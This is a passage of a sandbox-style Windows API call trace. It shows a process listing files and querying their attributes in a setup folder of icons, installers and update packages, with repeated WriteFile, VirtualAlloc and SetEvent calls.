	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.835] VirtualAlloc (lpAddress=0xc00036c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036c000
	[0237.835] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0237.837] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.837] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0237.840] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.841] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.841] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.841] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.842] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.842] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.842] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.842] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.856] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.857] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.857] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.857] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.858] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.858] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.858] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.858] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0237.879] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0237.879] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66)) returned 1
	[0237.880] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.880] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0237.880] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.880] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0237.880] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.881] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1
	[0237.881] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.881] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1
	[0237.881] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.882] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae)) returned 1
	[0237.899] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.899] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200)) returned 1
	[0237.912] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.912] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200)) returned 1
	[0237.912] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.912] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148)) returned 1
	[0237.913] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.913] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158)) returned 1
	[0237.913] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.913] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150)) returned 1
	[0237.914] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.914] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8)) returned 1
	[0237.914] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.914] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758)) returned 1
	[0237.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.915] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2d8efb37, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xa178)) returned 1
	[0237.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.915] SetEvent (hEvent=0x1a0) returned 1
	[0237.915] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704)) returned 1
	[0237.916] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.916] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2)) returned 1
	[0237.916] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.916] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113)) returned 1
	[0237.994] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.994] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520)) returned 1
	[0238.015] SetEvent (hEvent=0x124) returned 1
	[0238.015] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.016] VirtualAlloc (lpAddress=0xc00027a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027a000
	[0238.017] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce)) returned 1
	[0238.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
